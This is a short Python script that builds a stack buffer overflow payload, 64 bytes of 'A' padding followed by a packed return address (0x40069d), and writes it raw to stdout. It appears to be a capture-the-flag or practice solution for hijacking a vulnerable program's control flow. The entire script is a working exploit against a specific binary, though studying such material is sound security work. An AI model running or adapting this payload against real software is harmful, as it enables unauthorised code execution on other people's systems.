import struct
import sys

junk = b"A" * 64
offset = struct.pack("<Q", 0x000000000040069d)

payload = [
        junk,
        offset
        ]

payload = b"".join(payload)
sys.stdout.buffer.write(payload) #I used sys because of an special byte that was causing some problems
